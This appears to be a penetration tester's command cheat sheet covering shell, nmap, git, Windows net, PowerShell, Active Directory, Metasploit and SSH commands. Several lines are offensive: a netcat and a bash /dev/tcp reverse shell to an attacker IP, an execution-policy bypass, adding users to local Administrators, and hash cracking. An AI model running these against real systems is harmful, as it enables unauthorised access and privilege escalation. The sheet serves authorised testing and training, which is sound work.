



Cheat-sheet: Useful Commands for AIH

<u>Common Commands</u>	
\$ passwd	Change password
\$ python -m SimpleHTTPServer \$port	Start a python http server
\$ screen -S <NAME> (CTRL+A+D to background)	Start screen <NAME> and background
\$ screen -r \$name	Retrieve a screen session
\$ curl -X <http_method> http://website/url	Curl Basic
\$ wget http[s]://website/url	Download a file
\$ for i in \$(<filename>); do echo -n "\$i"; done	For loop
\$ for i in {1..X}; do echo \$i; done	For loop over number 1—X
\$ nc -lnvp <port>	Netcat listener
\$ nc -e /bin/sh attackerip <port>	Throw a reverse Shell
\$ bash -i >& /dev/tcp/<IP>/<port> 0>&1	Bash Reverse shell one liner
\$ john --format=<hash-fmt> --w=<password> <infile>	Hash Cracking with John
\$ john --format=<hash-fmt> --show <infile>	Show the cracked hashes
<u>NMAP</u>	
# nmap -A -p0-65535 -nvvv [host]	Full Port, no DNS, OS, version detection & basic scripts verbose
# nmap -iL <infile> -oA <outfile> [host]	Input and output files
# nmap -sU -nvvv [host]	UDP Scanning
# nmap -6 -sU -p161 -iL <infile> --open -Pn -nvv	IPv6 Scanning specific port
# nmap -p88 --script=<scriptname> --script-args arg1='value' [host]	Nmap scripts with arguments
<u>GIT Commands</u>	
\$ git clone [http ssh]://\$server/repo	Clone a repository
\$ git status	Current status of repository
\$ git add \$filename	Add \$filename to repository
\$ git commit -m "Comment"	Commit Changes
\$ git push	Update the repository
<u>Windows Net Commands</u>	
\$ net user <username> /domain	User Information
\$ net user /domain	List of Domain Users
\$ net group "Domain Admins" /domain	List Domain Admins
# net user <user> <pass> /add	Add user
# net localgroup Administrators <user> /add	Add user to localadmin



<u>Powershell</u>	
<code>powershell -exec bypass</code>	Bypass Execution Policy
<code>powershell -command "& { iwr http://site:port/file}"</code>	Download a file
<code>invoke-command -scriptblock { \$command } -computer \$target</code>	Start Interactive Session
<code>Test-WSman -computer \$target</code>	Test WinRM Service
<u>Useful AD PowerShell cmdlets</u>	
<code>\$Env:ADPS_LoadDefaultDrive = 0 Import-Module ActiveDirectory</code>	Import Active Directory Module without loading AD Drive
<code>Get-ADUser</code>	Get AD User Information
<code>Get-ADGroup</code>	Get AD Group Information
<code>Get-ADGroupMember</code>	Get group membership details
<code>Get-ADPrincipalGroupMembership</code>	Get group membership details
<code>New-ADUser</code>	Create a new domain user
<code>Add-ADGroupMember</code>	Add user to specified group
<u>Unix commands</u>	
<code>\$ ssh-keygen</code>	Generate a ssh keypair
<code>\$ chmod 4777 \$file</code>	Set suid bit + 777 perm (all rwx)
<code># adduser \$user -uid \$uid</code>	Add user with specific \$uid
<code>\$ proxychains nmap -sT -Pn -n [host] -p139,445</code>	Command via proxychains routes traffic over socks proxy
<u>Metasploit</u>	
<code># msfconsole</code>	Launch Metasploit console
<code>use <module_name></code>	Use an exploit / auxiliary
<code>set <parameter_name> <parameter_value></code>	Set parameters
<code>set payload <payload_name></code>	Set payload
<code>run/exploit</code>	Execute module
<code># msfconsole -x "use <module_name>; set <parameter_name> <parameter_value>; run; exit"</code>	Run a module without going into console
<u>SSH Commands</u>	
<code>\$ ssh -i <sshkeys> <username>@<IP></code>	SSH login using keys
<code>\$ ssh -F ~/.ssh/<config_file> <IP></code>	SSH using config file
<code>\$ ssh -D<PORT> <username>@<IP></code>	SSH Dynamic port forwarding